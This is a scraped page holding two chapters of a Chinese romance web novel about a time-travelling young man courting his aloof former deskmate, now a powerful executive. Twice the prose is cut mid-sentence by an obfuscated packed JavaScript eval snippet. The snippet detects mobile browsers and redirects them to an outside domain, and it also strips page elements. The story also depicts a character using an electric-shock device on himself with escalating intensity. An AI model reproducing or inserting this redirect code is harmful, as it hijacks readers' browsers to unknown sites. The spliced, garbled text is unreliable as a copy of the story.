当时的情况下,也就只有对方有能力悄无声息进行这一系列操作了。 “......” “鹅鹅鹅鹅!” 凌衔星努力憋了一下,没憋住,忍不住笑了出来。 不是,郁江倾这家伙到底是怎么回事啊,为什么每次帮他的忙都要偷偷摸摸的啊。 非得摆出一副我很烦你的样子,结果背地里又是给他写检讨又是给他办身份证明。 怎么会有这么别扭的家伙。 13. 第 13 章 许辰被笑懵了,“你......在笑什么?” 凌衔星又笑了几声,这才缓过来,大喝一口巧克力牛奶,“想到了一些开心的事情。” “嗯?” “就是,有个雪人又掉落‘作案证据’了。” 凌衔星现在开始好奇,该不会还不止这两件事吧,他的雪人同桌会不会还偷偷干了别的? 许辰听得一头雾水,但他也已经习惯凌衔星跳脱的思维了,没有去深究。 他想到一件事,问道:“你现在住在哪?” “一家小旅馆。” “住那种地方多不方便,你跟我回家吧。” “我钱都交了,先住着吧,而且......”凌衔星一顿,嘴角又忍不住往上扬了扬,“我觉得我马上就能回家了。” 许辰心脏一缩,“回十年前?” “不是啦。”是回凌宅。 凌衔星没在这个问题上细说,将杯子里面的巧克力牛奶喝完,拍拍许辰肩膀,“很晚了,今晚就这样吧,我要回去睡觉了。” “......我送你。” 许辰送凌衔星到了那家小旅馆的门口。 凌衔星下了车,又突然回头,“差点忘了一件很重要的事情!” 许辰语气期待:“什么事情?” 凌衔星一脸认真:“小辰子,分享一下你的减肥秘籍,等我又穿越回去,我要教给十年前的你,让你早点瘦下来。” “你真的不能再胖下去了,每次体测都是垫底,跑几步就喘,虽然肉嘟嘟的捏起来是挺舒服的。” 许辰:“......” 虽然对方这么关心他让他挺开心的,但总觉得还是有哪里怪怪的。 再想到还有另一个他自己在暗恋眼前的人,那种诡异的感觉就更重了。 深吸一口气,许辰缓缓:“少吃,多运动。” “别骗我,你做不到的。” 许辰:“?” 凌衔星眨眼,“你要是做得到,也不会这么胖了。” ......很有道理,无法反驳。 许辰笑了一声,“想要健康的瘦下来真没有别的办法。” 他根本没经历过减肥,等厌食症结束,每天都在强迫自己摄入能量。 凌衔星想想好像也真的是这样,“行吧,那我先上去了,拜拜。” 看着凌衔星的背影消失在旅馆门口,许辰面上温柔的笑容淡去。 转身要上车,却看见了一个人。 修长的身形静静站立,几乎要融入漆黑的夜色。 顿了片刻,许辰语气讥讽,“郁总真闲啊。” 郁江倾不语,淡漠的视线扫过许辰。 他的瞳孔在夜晚变得更加漆黑,比起在凌衔星面前清冷不理人的样子,用阴冷沉郁来形容更加贴切。 郁江倾看了眼凌衔星住的楼层,转身离开。 “如果许家落魄到没项目忙,我很乐意帮扶你们一把。” 冰凉的语调在夜幕中散去。 ...... 凌衔星洗漱好躺倒在床上,心头的兴奋劲儿怎么都消不下去。 今天先是知道了郁江倾其实很想跟他做朋友,还遇到了许辰,然后又发现大雪人背后偷偷摸摸给他办身份证明。 “鹅鹅鹅......” 凌衔星又鹅笑起来,抱着被子在床上打了好几个滚。 突然他想到什么,一个鲤鱼打挺坐起身来,掏出手机找到跟杨安易的聊天界面。 另一边,郁江倾还没回凌宅,而是在总裁办处理事务。 杨安易原本在恭恭敬敬汇报工作,突然,他的手机开始疯狂震动。 这是他工作用的手机,他原本只当是有项目上的事情。 可等他汇报完,拿起手机一看,面色顿时僵硬。 郁江倾似有所感抬眼。 “先生,是那位......的消息。” 至今,杨安易都不知道该怎么称呼凌衔星,对方有种自称凌衔星,他可没种称呼对方凌先生。 就连他给对方的备注都是【那个人】。 在郁江倾的示意下,杨安易将手机放到对方面前。 上面正在不断弹出新消息。 [那个人]:杨大哥晚上好呀,在干嘛呢? [那个人]:你现在在郁江倾身边吗? [那个人]:郁江倾在干嘛呢? [那个人]:要是郁江倾有空的话,让他加加我好友呗,我中午忘记了。 杨安易屏住呼吸,不敢发出任何动静。 然而下一条消息让他瞬间破功。 [那个人]:让我猜猜,现在不会是郁江倾在看消息吧~ 郁江倾:“......” [那个人]:郁哥哥,害羞了? [那个人]:寒心,真正的寒心不是大吵大闹。而是言语短短,目光冷淡。 杨安易从未有哪一刻比现在更思念罗学,为什么对方可以在凌宅北区安安全全线上办公。 而他却要直面这个世界上最有种的替身。 当年大学应该报计算机专业的。 郁江倾打起字。 [杨安易]:有事? [那个人]:思念你就是最大的事.jpg 郁江倾:“......” [那个人]:{语音5''''} 点开 “鹅鹅鹅鹅鹅鹅鹅鹅......” 一时间,总裁办仿佛变成了养鹅场。 最后,凌衔星还是如愿加上了郁江倾的好友。 而且不是工作账号,是私人账号。 凌衔星点开对方的头像,是一片雪地,空无一物。 特别冷酷特别有逼格。 想了想,凌衔星将头像保存到相册,然后开始涂涂抹抹。 另一头,郁江倾看着过了好一会儿依旧只有系统自带打招呼消息的空白聊天界面。 视线又扫过杨安易满满当当的聊天界面。 神色不明。 杨安易后背疯狂冒汗。 直到事务处理完,郁江倾起身要离开,手机震动了一下。 [凌(?)]:【图片】 依旧是那片雪地,但有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438636|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在苍茫无物的雪色上画了一个胖乎乎的大雪人,雪人的怀里还抱着一个圆滚滚金灿灿的小太阳。 因为这抹金色,原本孤寂的雪地突然就变得温馨起来。 [凌(?)]:大郁同学,晚安O~O “......” 郁江倾看着图片出神许久。 “幼稚。” 长按保存了图片。 睡得正香的肖逸猛然收到夺命连环催。 骂骂咧咧起来加班。 “这郁江倾终于是精神病发作了是吧,化验不用时间啊,大半夜的催什么催啊!” “我迟早要给他约个精神病医生!!!” ...... 凌衔星这一晚睡得格外安稳,没有做梦也没有中间醒过来,舒舒服服睡到了早上。 醒过来第一件事是打开好友列表,看一眼大雪人还有没有乖乖躺在他的列表里面。 “好傻啊,我怎么会这么傻逼鹅鹅鹅......” 美好的一天从犯蠢开始。 凌衔星离开旅馆,找了街边一家早餐店,点了一大碗芝麻汤圆。 冷嗖嗖的天气,就该吃点热乎乎的汤汤水水。 老板刚将汤圆端上来,凌衔星耳朵一动,听到周边座位有不少人在惊叹什么。 好像在说什么豪车。 似有所感扭头,一辆银黑色迈巴赫正在街道缓缓驶过。 跟这条烟火气很重的街道格格不入。 “郁江倾!”凌衔星兴奋起身挥手。 后车窗缓缓下降,露出了一张完全无愧高岭之花称呼的脸。 “吃了吗,没吃的话一起吃点啊。”凌衔星热情招呼,“我请你吃汤圆!” 南街的早餐区,今天蓬荜生辉。 一辆平时一辈子都见不到的豪车停在了一家普普通通的早餐店门口。 郁江倾从车走到凌衔星旁边,一路的人都下意识离得远远的,生怕挨蹭到赔不起。 他的气质太冷了,拒人千里之外,老板来问要什么的时候都有点僵硬。 凌衔星替郁江倾做了回答,“跟我一样的一碗汤圆,再来两个茶叶蛋。” 很快,又是一碗热气腾腾的汤圆端上来,碟子里面还有两个胖乎乎的茶叶蛋。 凌衔星剥了一个茶叶蛋放到郁江倾面前,“郁哥哥,吃呀。” 郁江倾看了眼那个浅褐色的茶叶蛋,没动筷子,而是淡淡道:“还在酒吧打工?” “是呀,陶哥他帮过我,我打算帮他把酒吧办起来。” 郁江倾面无表情,十万块算是白给了。 凌衔星吃了口汤圆,舔掉唇上的黑芝麻,“陶哥哥他人挺好的,很热情。” 话音落下,凌衔星余光里似乎看到郁江倾的指尖动了动。 错觉吗? 凌衔星试探:“陶哥哥他——” 郁江倾的指尖又是一动。 这是触发神奇开关了? 只是郁哥哥喊顺口了,所以在喊陶邬的时候嘴瓢了一下的凌衔星嘴角缓缓上扬。 呦~ 大雪人可真别扭。 14.第 14 章 在心里偷偷笑了好一会儿,凌衔星开口。 “不过要我说啊,当然是我们郁哥哥最棒了,多贴心啊,每次帮我忙都偷偷摸摸的,生怕我知道~” 郁江倾冷冰冰的视线投过来。 凌衔星一点没带怕的,“我们郁哥哥真的太善良了,又是给我写检讨,又是给我弄身份证明,又是给我十万块包.养费,做好事不求回报,简直是活雷锋啊。” 虎牙探出唇瓣,凌衔星笑意盈盈,“哎呀,郁先生你怎么了,怎么好像害羞了呀?” “我在夸郁哥哥呢,跟郁先生有关系吗?” 凌衔星不正经起来的时候,真的让人很难招架。 他白皙的指尖悄悄搭上郁江倾手套在腕部的边缘,勾了勾,黑白分明,像是在做些什么撩拨的把戏。 郁江倾似是毫无波澜,冷声:“你是吃饭还是吃我。” 凌衔星指尖划过对方藏在西装袖中的手腕内侧,“郁先生希望是哪一个呢?” 郁江倾:“......” “说起来我还没问过,郁先生这些年,有没有找过对象啊?” 凌衔星支着脸,浅金的眼眸含着盈盈笑意。 温热的指尖一遍遍划过手腕,郁江倾喉结滚动,呼吸渐渐急促起来,隔着手套都能感受到手的紧绷。 他紧紧扣住凌衔星那只不知死活的手,垂下眼,“你就这么关心我找不找另一半?” 不待凌衔星回答,郁江倾突然起身,“有事,你自己吃。” 他离开了这家早餐店。 凌衔星愣了一下,看着对方快步离开的背影,眨巴眼,“被我吓跑了?” 随即他懊恼,“啊啊啊怎么又没有一起吃成饭啊!” 第三次了! 这是第三次郁江倾从饭桌上溜走了!!! 下次一定吃完再调戏! 秉持着节约粮食的口号,凌衔星吃了两个茶叶蛋,以及两碗汤圆,撑得肚子溜儿圆。 他仰倒在椅背上,长叹一口气。 想跟他新晋的好朋友一起完完整整吃顿饭也太难了。 总裁办 杨安易守在门口,心里还有点忐忑,先生面色好差,是被那个有种的替身给惹怒了? 不行不行,不能揣测先生。 “......” 沙哑带着颤抖的喘息在休息室传开,郁江倾靠在墙边,冷白的肤色透出红意。 他脱下了手套,从口袋里面取出一枚纽扣模样的东西,放在掌心。 拨下开关,剧烈的疼痛一瞬间在掌心炸开,无穷无尽的电流将整个人吞没。 心脏有一瞬间的僵停,跳动失了控。原本的燥热渴望被窒息的痛苦取代,力气消失得一干二净,意识也有短暂的空白。 郁江倾再说不出任何话,就连本能的痛苦.呻.吟也被他咬碎吞下,只偶尔从喉咙溢出嘶哑的无意义音节。 痛苦麻木从来是遏制一切渴望的良药。 这些年,他需要的电流强度越来越高,给他定做电击器的人说,再高下去,就要对身体造成不可逆伤害了。 只可惜,就跟高中时期一样。除了强忍,他没有别的办法。 ...... 凌衔星在陶邬的酒吧忙得热火朝天,又是请人又是宣传。 他前几天在酒吧弹唱的时候被不少人录了视频,有好几条都火了,评论区都是问酒吧在哪,能不能来偶遇的。 这正合凌衔星的意,他顺带着将请来的几个台柱子推出去,稳固下不少客流量。 “星星——”陶邬浮夸的语调又在耳边响起,“我真的爱死你了,你太棒了!” 凌衔星不客气地点点头,“我知道我很棒,别太爱我了。” 陶邬笑意更甚,他喜欢的就是眼前人张扬的样子,能让原本迷茫的人都看见方向。 “对了陶哥,明天我打算在酒吧举办一个活动,顺便我再上台表演一下,多拉点人。” “当然没问题。”陶邬单边眨眼,“全都听你的。” 休息的时候,凌衔星手机上戳了戳许辰。 这几天都没见到人,很忙的样子。 [凌衔星]:小辰子,你这几天去哪了呀,怎么不见人? 另一边很快回了消息。 [许辰]:项目上有点麻烦,我在处理。 [凌衔星]:需要帮忙吗? [许辰]:星哥,我可不是以前那个小胖墩了,我现在很有能力的。 [凌衔星]:崽崽长大了.jpg 许辰看着这个表情包,有些微失语。 无奈地笑了一下,星哥还是把他当小跟班在照顾呢。 [许辰]:听说你明天要在酒吧表演,我会过来捧场的^-^ [凌衔星]:不勉强喔,项目要紧。 又闲聊了几句,许辰放下手机,神情淡下来。 郁江倾够狠,当晚说,当晚就给许家下绊子。 他终究还是不如人,当初出身贫困从未经受精英教育的郁江倾凭什么一年时间清理盘根错节的凌家人,就是因为冷血心狠,在灰色的地界疯狂下黑手。 这个人好像生来就没有什么所谓的底线,不择手段,简直像极了凌衔星以前给他看得小说里面的反派。 凌衔星又点开了郁江倾的聊天界面。 这几天他有事没事就去骚扰对方,哪怕对方一般只回他短短几个字,他也不亦乐乎。 [凌(?)]:大郁同学~ 一会儿后。 [大雪人]:? 看着这个备注,凌衔星鹅鹅鹅笑了几声,心情很好。 [凌(?)]:明天晚上我要在酒吧表演,你来不来看呀? [大雪人]:很忙。 凌衔星不是一个喜欢强求别人的性子,要是换做别人,不去就不去咯。 可不知道为什么,他就是很希望郁江倾能来。 或许是希望对方别总是一个人闷着,别总是形单影只,别总是看起来那么不开心。 又或者,只是想看对方笑一下的执念。 [凌(?)]:来嘛,我有惊喜给你们哦~星星眼.jpg [大雪人]:们? [凌(?)]:还有小辰子。 正在输入中的字样显示了很久,但最后发过来的依旧是寥寥几个字。 [大雪人]:这么想我去? [凌(?)]:是呀,想你来。 [大雪人]:知道了。 这几个字映入眼底,凌衔星小心脏痒丝丝的。 就是不知道大雪人什么时候彻底相信他的身份,让他回凌宅看看。 现在对他态度这么好,肯定快了。 郁江倾放下手机,示意杨安易。 “许家的项目,再给我拿过来。” ... 第二天晚上,郁江倾接到了肖逸的电话。 电话那头的人声音因为震惊而显得有些尖锐,“你哪里弄来的头发?!” 郁江倾攥紧了手中的笔,“说结果。” “完全匹配......” “我第一遍还以为机器坏了,又花时间检验了一遍,不是,这怎么可能!” “郁江倾你......” 肖逸后面的话郁江倾已经一点都听不见了。 心脏疯狂跳动,大概是在为故人的归来而欢庆。 从情感上,郁江倾重逢的第一眼就认定了凌衔星。 但他没有随心所欲的资格,对方将凌氏托付给他,他不能不负责任地只依凭感觉作出决定。 他必须彻底确认对方的身份,再将一切归还。 手机弹出消息。 [凌(?)]:晚上穿得帅一点喔。 郁江倾看了这句话一会儿,将备注更改,回了消息 。 [郁江倾]:你要多帅? 上方正在输入中的字样出现了很久,但一直都没有消息发过来。 郁江倾正疑惑,凌衔星终于编辑好了信息。 [凌衔星]:不管你是谁,现在立刻马上从我高冷不食人间烟火的同桌身上下来!!! 郁江倾:“?” ...... “月夜”今夜尤为热闹,其中不少的人都是冲着最近大火的视频中那个吉他少年来的。 杨安易在酒吧门口停下车,心中可谓是惊涛骇浪。 先生居然来这种地方。 郁江倾隔着车窗望向酒吧内,人头涌动。踏入的那一刻,放纵与疯狂的喧嚣将他围绕。 杨安易将那些拥挤到郁江倾身边的人尽数推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445047|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 有些人不满,但在看清郁江倾模样的时候熄了声。 郁江倾好似生来就与这人世间格格不入,无论走到哪里都是异类。 他就这么静静站在距离酒吧中心最远的角落,周遭无人敢打扰。 酒吧内的灯光突然熄灭,引起一片惊呼。 下一刻,五颜六色的灯同时亮起。在客人们此起彼伏的欢呼尖叫下,被凌衔星请来的台柱子们站上最中央的舞台。 随着震耳的音浪,气氛在一瞬间热烈。不管是认识的还是不认识的,人们都在跟着台上的人一起摇摆身体,你挤我我挤你,在这寒冷的季节挥洒汗水。 酒精、汗水、还有刺耳疯狂的欢呼。 这里就像是疯子的狂欢,不再有任何的克制,人与人之间没了距离,暧昧又热烈。 郁江倾始终漠然看着这一切,直到原本放纵的曲调被取代。 令人眼晕的彩色灯光关闭,明亮的舞台灯“砰”得打开,聚焦在舞台。 一个抱着吉他的少年在万众瞩目中走上台。 郁江倾眼睫微颤。 “大家好!!!”凌衔星挥舞起手臂,热情地跟所有人打招呼。 人们的欢呼如浪潮。 凌衔星高声,“今天,我要在这里唱一首歌,送给——我最棒的同桌!” 郁江倾一怔。 随着凌衔星手指向的方向,人们看向了角落的郁江倾。 他们开始起哄,自发给郁江倾分开一条走向舞台的道路。 全新的节奏响起,不放纵,但比之前更加激昂,听得人热血沸腾。 前奏结束,歌声响起。 “因为存在后悔,我不停地追!” “因为还有梦想,我奋力高飞!” “穿过泥泞战场,才有征服的力量” “伤痕累累手指弹绝唱!” ...... 少年的音色清亮,嚣张地穿透这片喧嚣的空间,停落在郁江倾的耳边。 好像有一只手紧紧抓住了他,将他从不见光的角落拉拽出来,让他回到人世间。 他下意识向前迈步。 凌衔星笑得更加灿烂,两颗虎牙缀在唇畔,随着炸耳音浪拨着吉他的弦,放声高歌。 “黑暗让光更加的耀眼” “我要绽放热烈的火焰!” “如果注定要面对一切” “踏破星辰也击碎黑夜!” ...... 全场狂欢,随着凌衔星张狂的歌声疯狂挥舞双手,跟着一块儿吼唱,人潮涌动。 似乎有什么东西从心脏狂涌至四肢百骸,郁江倾失去了思考的能力。 他能从这片震耳的喧闹中听见自己的心跳,一下又一下,比所有狂热的客人加起来都要跳得更加疯狂。 台上的少年指尖翻飞,鲜活而蓬勃的生命力充满每一根头发丝,在灯光下不断晃动。 像是一片黑暗中,璀璨的金光突然迸发,刺破浓重的夜幕,融化雪层,将万丈光芒洒落。 少年张扬如烈阳,从此雪人也有了生机。 凌衔星望着已经走到台下的郁江倾,吉他弦重重一拨,向着他招摇地笑,头顶那簇头发上蹦下跳,迎面而来的活力几乎要将天空都打破。 “向阳而生!逆行成神!” “我与命运一战注定翻身!” “向阳而生!逆行成神!” “变成一道光让自己——重生!!!” 全场的气氛被彻底引爆,人们疯狂地欢呼,声嘶力竭跟着节奏吼叫。 郁江倾抬眼,与台上的少年对望。 数不清的人仰望着骄阳,而骄阳的眸底只映出了他一人的身影。 柠檬糖的气息从混乱的味道中脱颖而出,萦绕在呼吸间,有那么片刻,好似与多年前的高中重合。 少年半坐在围墙上,笑意盈盈看着下方来捉他的人。 依旧是熟悉的面容,依旧是灿烂的笑容。 唯一的不同,那个穿着校服的清冷少年变成了西装革履的男人。 向阳而生。 曲到末尾,声音渐渐弱下,酒吧内只剩人们错乱的呼吸。 突然,郁江倾缓缓:“凌衔星。” 凌衔星一怔,随后扬起笑容,“嗯呐,同桌!”